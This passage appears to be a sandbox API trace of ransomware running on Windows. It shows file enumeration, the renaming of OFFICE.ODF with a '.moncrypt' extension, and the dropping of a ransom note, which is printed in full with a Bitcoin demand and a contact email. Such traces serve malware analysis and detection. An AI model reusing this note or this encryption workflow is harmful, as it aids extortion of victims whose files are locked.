ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뻜R企@\x18?T\x18y")) returned 0xffffffff [0047.463] GetLastError () returned 0x2 [0047.463] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\cultures\\") returned 0x41 [0047.463] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e693f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0047.463] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.463] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뭼R企@\x18?T\x18\x81")) returned 0xffffffff [0047.464] GetLastError () returned 0x2 [0047.464] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\cultures\\") returned 0x41 [0047.464] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e693f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0047.464] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.464] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@Q企@\x18?T\x18\x88")) returned 0xffffffff [0047.464] GetLastError () returned 0x2 [0047.464] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\cultures\\") returned 0x41 [0047.464] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e693f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0047.464] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.464] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뻜R企@\x18?T\x18\x8f")) returned 0xffffffff [0047.464] GetLastError () returned 0x2 [0047.465] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\cultures\\") returned 0x41 [0047.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e693f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0047.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.465] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뭼R企@\x18?T\x18\x97")) returned 0xffffffff [0047.465] GetLastError () returned 0x2 [0047.465] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\cultures\\") returned 0x41 [0047.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e693f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0047.465] GlobalLock (hMem=0x440004) returned 0x551178 [0047.465] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.465] GlobalUnlock (hMem=0x440004) returned 0 [0047.465] GlobalLock (hMem=0x440004) returned 0x551178 [0047.465] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.465] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.465] GlobalUnlock (hMem=0x440004) returned 0 [0047.465] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.465] GlobalUnlock (hMem=0x44000c) returned 0 [0047.465] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.465] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0047.466] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0047.466] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.466] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69330, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0047.466] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.466] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.466] GlobalUnlock (hMem=0x44000c) returned 0 [0047.466] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.466] GlobalLock (hMem=0x440004) returned 0x553188 [0047.466] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.466] GlobalUnlock (hMem=0x44000c) returned 0 [0047.466] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.466] GlobalUnlock (hMem=0x440004) returned 0 [0047.466] GlobalLock (hMem=0x440004) returned 0x551178 [0047.466] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.466] GlobalUnlock (hMem=0x440004) returned 0 [0047.466] GlobalLock (hMem=0x440004) returned 0x551178 [0047.466] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.466] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.466] GlobalUnlock (hMem=0x440004) returned 0 [0047.466] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.466] GlobalUnlock (hMem=0x44000c) returned 0 [0047.466] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.466] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.466] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0047.466] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.466] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.466] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.466] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.466] GlobalUnlock (hMem=0x44000c) returned 0 [0047.467] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.467] GlobalLock (hMem=0x440004) returned 0x554190 [0047.467] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.467] GlobalUnlock (hMem=0x44000c) returned 0 [0047.467] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.467] GlobalUnlock (hMem=0x440004) returned 0 [0047.467] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0047.467] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0047.468] CloseHandle (hObject=0x18c) returned 1 [0047.468] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\я")) returned 1 [0047.469] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0x54e240 [0047.469] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0047.469] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0047.469] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0047.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF", dwFileAttributes=0x20) returned 1 [0047.470] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0047.470] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.moncrypt")) returned 1 [0047.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0047.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xffffffff [0047.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xffffffff [0047.470] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=-1, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=-1) returned 0xffffffff [0047.470] ReadFile (in: hFile=0xffffffff, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8, lpNumberOfBytesRead=0x18e6f4*=0x0, lpOverlapped=0x0) returned 0 [0047.470] GlobalLock (hMem=0x440004) returned 0x552180 [0047.471] GlobalLock (hMem=0x44000c) returned 0x558190 [0047.471] GlobalHandle (pMem=0x558190) returned 0x44000c [0047.471] GlobalUnlock (hMem=0x44000c) returned 0 [0047.471] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0047.471] GlobalLock (hMem=0x44000c) returned 0x558190 [0047.471] GlobalHandle (pMem=0x558190) returned 0x44000c [0047.471] GlobalUnlock (hMem=0x44000c) returned 0 [0047.471] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0047.471] GlobalLock (hMem=0x44000c) returned 0x558190 [0047.471] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.471] GlobalUnlock (hMem=0x440004) returned 0 [0047.471] GlobalHandle (pMem=0x558190) returned 0x44000c [0047.471] GlobalUnlock (hMem=0x44000c) returned 0 [0047.471] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.471] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.471] GlobalUnlock (hMem=0x44000c) returned 0 [0047.471] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0047.471] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.471] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.471] GlobalUnlock (hMem=0x44000c) returned 0 [0047.471] ReadFile (in: hFile=0xffffffff, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8, lpNumberOfBytesRead=0x18e6f4*=0x0, lpOverlapped=0x0) returned 0 [0047.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=-1) returned 0xffffffff [0047.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x1dbe1a8, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0) returned 0 [0047.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=-1, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=-1) returned 0xffffffff [0047.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x1e390f8, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0) returned 0 [0047.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x18e76c, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0) returned 0 [0047.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x1e61d88, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0) returned 0 [0047.482] WriteFile (in: hFile=0xffffffff, lpBuffer=0x1dbe1c8, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0) returned 0 [0047.482] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0047.482] SetFileTime (hFile=0xffffffff, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 0 [0047.482] CloseHandle (hObject=0xffffffff) returned 0 [0047.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.moncrypt", dwFileAttributes=0x20) returned 1 [0047.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0047.483] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.483] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.483] GlobalUnlock (hMem=0x44000c) returned 0 [0047.483] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.483] GlobalLock (hMem=0x440004) returned 0x554190 [0047.483] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.483] GlobalUnlock (hMem=0x44000c) returned 0 [0047.483] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.483] GlobalUnlock (hMem=0x440004) returned 0 [0047.483] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0047.483] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x554190, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69448, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5561a0, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0047.483] GetLastError () returned 0x2 [0047.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0047.484] WriteFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0047.485] CloseHandle (hObject=0x18c) returned 1 [0047.485] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0047.485] GetLastError () returned 0x12 [0047.485] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.485] GlobalLock (hMem=0x440004) returned 0x551178 [0047.485] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.485] GlobalUnlock (hMem=0x440004) returned 0 [0047.485] GlobalLock (hMem=0x440004) returned 0x551178 [0047.485] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.485] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.485] GlobalUnlock (hMem=0x440004) returned 0 [0047.485] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.485] GlobalUnlock (hMem=0x44000c) returned 0 [0047.486] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x3d953e60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d953e60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.486] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.486] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.486] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.486] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.486] GlobalUnlock (hMem=0x44000c) returned 0 [0047.486] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.486] GlobalLock (hMem=0x440004) returned 0x553188 [0047.486] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.486] GlobalUnlock (hMem=0x44000c) returned 0 [0047.486] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.486] GlobalUnlock (hMem=0x440004) returned 0 [0047.486] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.486] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x3d953e60, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3d953e60, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.486] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: 